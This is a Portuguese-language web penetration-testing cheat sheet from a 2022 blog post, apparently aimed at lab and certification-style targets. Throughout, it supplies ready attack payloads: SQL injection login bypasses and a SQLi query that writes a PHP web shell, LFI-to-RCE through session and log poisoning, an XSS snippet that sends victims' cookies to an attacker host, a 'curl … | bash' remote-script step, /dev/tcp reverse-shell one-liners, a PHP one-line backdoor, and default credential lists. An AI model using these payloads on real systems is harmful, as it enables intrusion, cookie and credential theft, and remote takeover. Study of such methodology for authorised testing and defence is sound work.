by @an4kein | 19/02/2022 | Blog: https://an4kein.github.io/
Antes de começar por aqui, lembre-se que o GOOGLE é seu melhor amigo!
Basta inserir essa busca e acessar o primeiro link
link tudo sobre como explorar FTP: https://book.hacktricks.xyz/pentesting/pentesting-ftp
Outro exemplo:
OU:
Ahhhhh, mantenha sempre as coisas SIMPLES
1: Verifique se é um serviço HTTP ou HTTPS. Se for HTTPS, verifique seu certificado,se não tem alguma vulnerabilidade SSL, como a vulnerabilidade HeartBleed, a ferramenta está disponível https://github.com/drwetter/testssl.sh
2: Se necessário, enumere seus subdomínios, adicione o host virtual ao /etc/hosts
3: Acesse o URL de destino em um navegador, Chrome e Firefox
1: Verifique seu conteúdo, como blogs, comentários, perfis de usuários, etc.
encontre algo sobre usuários/membros/equipe, crie uma lista de possíveis nomes de usuário/senhas
2: Se usa um modelo oficial? Se assim for, você dificilmente encontrará algo útil.
Caso contrário, continue enumerando
3: Tema e função deste aplicativo. Esse site é de Suprimentos? Para médico? Para
gerenciamento de dispositivo? etc.
1: valor padrão de um elemento
2: Comentários, procure por "<!-"
3: Link, procure por "href"
4: Elemento oculto. Use a ferramenta de desenvolvimento (dev-tool) para fazê-lo aparecer
5: Mesmo que uma página da web pareça vazia, lembre-se de verificar sua fonte
1: Burpsuite é o preferido
2: Verifique o cabeçalho especial, que pode revelar sua API
0: Enumerar todos os subdomínios e hosts virtuais
1: Se o servidor web for executado em uma porta incomum, tente o protocolo HTTP e HTTPS
2: nikto -h http://10.10.10.10
3: Combine os resultados de pelo menos dois scanners
4: dirb http://10.10.10.10
5: gobuster dir -u http://10.10.10.10 -w dir.txt -x html,txt,php,aspx,java -t 20
(-k, se https)
6: Use o dicionário do aplicativo específico: como o dicionário do SharePoint CMS
7: diretório oculto
- a.
hostname, domain, username, service namecomo um diretório - b. Mencionado em
conteúdo da web, como umblog - c. Procure o
documento/githubrepo do aplicativo - d.
robots.txt,sitemap.xml - e. Arquivo de configuração
- f. Mensagens de erro
- g.
código fonte,comentários - h. protegido por uma autenticação básica:
gobuster dir -U admin -P admin -u http://10.10.10.10/private -w dir.txt -x html,php,aspx,txt -t 20
8: Repositório/documento oficial do GitHub do aplicativo da mesma versão
9: Modifique o user-agent
0: Semelhante ao diretório e arquivo
1: wfuzz -c -z arquivo,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.10/FUZZ/
2: Mencionado no conteúdo da web
3: Em solicitações e respostas
4: Código fonte, comentário
1: Sempre tente admin:admin primeiro ou admin:password, guest:guest, admin:password123, user:admin
2: Pesquise no Google por login/credencial padrão -> Exemplo: joomla default credentials
1: Se o webroot de um servidor web compartilhar o mesmo diretório com SMB ou FTP, e
você tem permissão de gravação, tente fazer upload de um web shell
2: No Linux, uma webroot geralmente é /var/www/html ou /var/www/[appname] - Lembre-se que depende muito do OS, no free-bsd o mesmo app pode ser localizado em um caminho diferente ao encontrado em outra distro, como por exemplo, uma distro Ubuntu.
3: Aproveite o SQLi para escrever um backdoor para webroot: ' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'
4: Recupere webroot de mensagens de erro, phpinfo, etc.
1: Vulnerabilidade de Shellshock
Existem várias maneiras de ignorar o login
1: A autenticação não ajuda, ou a autenticação é desnecessária para nossa
enumeração/exploração. Esta é uma das situações mais ideais.
2: Credencial padrão/fraca. Esta é também uma das situações mais ideais.
3: carga útil SQLi
- a)
username=admin' or '1'='1 password=[arbitrary] - b)
username=admin password=' or '1'='1 - c)
username=admin password=' or 1=1-- - - d)
username=admin' or 1=1-- - password=[arbitrar]
4: Adivinhe uma credencial com base em OSINT ou engenharia social. Antes de adivinhar,
você precisa coletar algumas informações. Como o apelido do administrador, o nome real do administrador
nome, nome da equipe, nome do serviço, nome do aplicativo, etc. Eles podem ser
nomes de usuário em potencial. Para senha, pode ser o mesmo que nome de usuário e
não se esqueça de tentar algumas senhas mais simples, como senha, admin, 123456, password,
qwerty, etc.
5: Registre um novo user
6: Solicitações de autenticação básica
7: Revise o código-fonte, especialmente os comentários
8: Use SQLi para recuperar ou substituir a credencial
9: Use XSS para roubar cookie
10: Sessão de reutilização
11: OSINT, como blogs, comentários, etc.
12: Ataque de dicionário, ataque de força bruta. Use-o como última opção. ZAP é recomendado.
1: Se um nome de argumento for como view, file, page, skin, theme, lang, template, etc., a inclusão de arquivos é altamente possível
2: Se LFI for confirmado, tente RFI também
3: Se o RFI não funcionar, altere o protocolo HTTP/FTP para o protocolo SMB.
4: Se o RFI realmente não existir, use o LFI para ler alguns arquivos confidenciais, como um
config que contém credenciais. Em seguida, aproveite a credencial coletada para
próxima exploração
5: Alternar entre caminho absoluto e caminho relativo
6: Inclua arquivos de configuração de serviço, como /etc/apache2/sites-available/000-default.conf, /etc/vsftpd.conf, etc.
7: Use o filtro PHP para verificar o código-fonte: http://10.10.10.10?page=php://filter/convert.base64-codificar/recurso=view.php
8: Se XXE for possível, também pode levar a LFI
9: A própria LFI tem algumas abordagens que levam ao RCE
-
1: Incluir arquivo de sessão
- a: Preencha um formulário POST para fazer username=
<?php system("[command]");?> - b: Observe o valor da sessão e, em seguida, localize o arquivo de sessão php. Normalmente em
/var/lib/phpx/sess_[SessionId],/tmp/sess_[SessionId] - c: Incluir o arquivo de sessão
- a: Preencha um formulário POST para fazer username=
-
2: phpinfo + LFI
- a: Se file_uploads estiver ativado
- b: PoC script: https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp
-
3: Log poison
- a: Se o arquivo de log estiver acessível, como
/var/log/vsftpd.log,/var/log/apache2/access.log - b: Para
access.log, insira a carga útil no agente do usuário. Paravsftpd.log, forneça carga útil naseção de nome de usuário. - c:
Incluiro arquivo de log
- a: Se o arquivo de log estiver acessível, como
-
4:
send mail- a: Envie um e-mail com uma carga maliciosa
- b: Incluir
/var/mail/www-data
10: Alguma restrição, precisa de um pequeno ajuste no nome do arquivo, extensão do arquivo, final do nome do arquivo (%00), etc.
1: Leia o arquivo do servidor, como /etc/passwd
2: Transferir arquivo inacessível (arquivo de back-end, arquivo autorizado-requerido) para
diretório acessível (interface do gerenciador de arquivos, compartilhamento SMB/FTP)
1: Não tem nenhuma restrição: Basta fazer o upload!
2: Restrição do lado do cliente: use burpsuite para editar a solicitação e encaminhar
3: Restrição do lado do servidor: altere o número mágico, o nome da extensão do arquivo, etc.
4: Restrição inexplorável: é uma toca de coelho
1: Roube o cookie do administrador ou de outro usuário online para ignorar o login
- a:
<script>new Image().src="http://10.10.10.20/file.jpg?cookie="+document.cookie;</script, - b:
nc -nlvp 80
1: Se você puder encontrar o código-fonte para fazer uma revisão do código da whitebox
2: Fuzzing endpoint de API
3: Fuzz um argumento. Se não houver argumento, adivinhe um
1: Caminho de login padrão: /wp-login.php, /wp-login, /wp-admin, /wp-admin.php, /login
2: Lembre-se de executar um fuzzing usando wordlist: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/wordpress.fuzz.txt
2: wpscan
3: Plugin, exploit de temas
4: Painel RCE ( Aparência-> Editor-> 404 Template )
5: Faça upload de um plug-in
6: Seu arquivo de configuração (para o estágio PE) -> Privilege Escalation - Geralmente em /var/www/html wp-config.php
1: RCE: crie um novo new project, build section->execute shell, Build now
1: Use nikto para escanear
2: cadaver http://10.10.10.10
3: Credencial (se necessário)
4: Put/Get para upload/download arquivo
1: Encontre o repositório do github do aplicativo que você está testando
2: Use a ferramenta git para reconstruir o projeto:
- a.
./gitdumper.sh http://10.10.10.10/.git rep1 - b.
cd rep1 && git checkout -- .
3: Mostrar logs: git logs
4: Mostrar log de um commit: git show [commit]
1: Revise os logs do repositório: svn log --username admin --password admin http://10.10.10.10/svn/rep1
2: Compare as diferenças com as versões anteriores: svn diff -r 2:1 --username admin --password admin http://10.10.10.10/svn/rep1
1: phpinfo.php
1: Tente acessar /manager
2: Senha padrão: admin:admin, tomcat:tomcat, admin:NULL, admin:s3cr3t, tomcat:s3cr3t, admin:tomcat
3: Carregar carga útil .war - #Vc pode gerar usando o msfvenom ou alguma outra tool
1: Verifique: https://book.hacktricks.xyz/pentesting/pentesting-web/nginx
1: Verifique e teste as extensões de arquivo asp, aspx, config, php
2: arquivo web.config
1: SQLi
2: Recuperar a credencial - #Sempre reutilize em outro lugar
3: Substituir a credencial se o hash for inexplorável
4: Escreva um web shell no webroot: ' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE '/var/www/html/cmd.php' -- -'
1: Exploração do plug-in vulnerável
2: Habilite um plugin específico
1: Use burpsuite para analisar solicitações, respostas e URLs ocultas (especialmente aqueles não podem ser enumerados por dirb ou gobuster)
2: Enumerar todos os endpoints
3: Interface, como interface GraphQL para Gatsby
4: Documento oficial
5: Fuzz Endpoint da API (http://10.10.10.10/endpoint/FUZZ) para verificar LFI/RFI e
Vulnerabilidade de injeção de comando com nome de arquivo, comando, nome de arquivo codificado e comando
1: Pode ser usado para incluir arquivo local
1: tente payload cmd={{7*7}} para detectar
1: Acesse o servidor web interno
1: Preste atenção à página shtml
1: Adicionar X-Forwarded-For: 127.0.0.1 no header
2: SSRF
1: Use burpsuite para analisar tráfegos
2: Links apontando para outras portas nos códigos-fonte
3: Banco de dados, servidor memcached, etc.
4: Especial request header
1: /graphgl, /graphiql, /graphql.php, /graphql/console, /__graphql OU use wordlist para fazer o fuzzing: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt
2: Query
1: desserialização de Java
- a: Encontre a
entradaque pode ser controlada - b: Garantir o
tipo de carga útil - c: Use
ysoserial.jarparagerar uma carga útilDownload tool: https://github.com/frohoff/ysoserial
2: Python Pickle deserialization
3: PHP deserialization
1: eval() em NodeJS e Python
2: preg_replace() em PHP
1: Acesse uma URL inexistente para receber a mensagem de erro
1: Se o debug estiver habilitado, acesse /console e inicie o RCE
2: eval()
1: Combine o Firefox com o Chrome
2: Use complementos convenientes (add-ons): Wappalyzer, Cookie-Editor, Shodan, Hack-Tools, Foxproxy, etc
3: Se uma exploração não for bem sucedida, mude para outro explorador
4: Dev Tool (Ferramentas de desenvolvimento)
1: Verifique os headers especiais
2: Comunicação/Dependência com outros serviços/portas
3: Edite a solicitação para ignorar o controle de acesso
4: Como 3, edite a solicitação para representar o usuário administrador
5: Analise a API
1: Como o BurpSuite
2: Quando se trata de força bruta, tem uma velocidade muito maior
1: Acesse pelo método GET e verifique os cabeçalhos: curl http://10.10.10.10
2: Envie uma solicitação POST: curl -X POST --data "id=123" http://10.10.10.10
3: Alterne entre POST e GET para testar os endpoints da API
4: Escreva um script para fuzz
5: Baixe o arquivo: curl http://10.10.10.10/file -o file
6: Execute um script remoto: curl http://10.10.10.10/shell.sh | bash
1: Preenchimento incorreto ==> Existência de codificação, como Base64
2: Nenhum arquivo ou diretório ==> Possível LFI/RFI
3: não é possível registrar este nome de usuário ==> Este nome de usuário existe
4: Acesse uma URL inexistente ==> Revelar todos os caminhos (Rail)
1: Codificação/decodificação online: https://www.urlencoder.org/
2: Às vezes, apenas alguns caracteres serão codificados
1: Substitua '+' por ''. Por exemplo, sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i >& /dev/tcp/192.168.49.175/6000+0
1: Use a codificação de URL primeiro
2: Substitua '%20' por '+'. Por exemplo, sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.175%2F6000+0%3E%261
1: PHP generic
One-line backdoor: <?php echo shell exec($_GET['cmd'].' 2>&1');
Web backdoor: https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php
Web backdoor2: https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php
2: PHP for Windows
Reverse Shell: https://github.com/Dhayalanb/windows-php-reverse-shell
Bind Shell: Check [PHP generic]
3: PHP for Linux
Reverse Shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
4: JSP
Reverse Shell: https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp
5: ASPX
Reverse Shell: https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.asp
6: Others
Ruby reverse shell: https://github.com/secjohn/ruby-shells/blob/master/revshell.rb
Ruby bind shell: https://github.com/secjohn/ruby-shells/blob/master/shell.rb
1: Escreva um script python
2: Faça uso de ferramenta online
Às vezes, a autenticação é inútil ou desnecessária para nossa exploração. Não há necessidade de crackear o login -> (brute force)
Ajuste os exploits publicos para funcionar corretamente :)
Muitas vezes a resposta esta bem na sua cara, tente sempre deixar as coisas mais fáceis sem muitas complicações, continue tentando, você encontra a resposta.
Se a maquina não estiver respondendo normalmente e dando todas as portas fechadas, reinicie a máquina algumas vezes e veja se está normalizada
Pare de ir já exploitando, necessário enumerar primeiro, fazer uma boa enumeração... Depois analise com calma, qual sera a maneira mais viável para explorar.



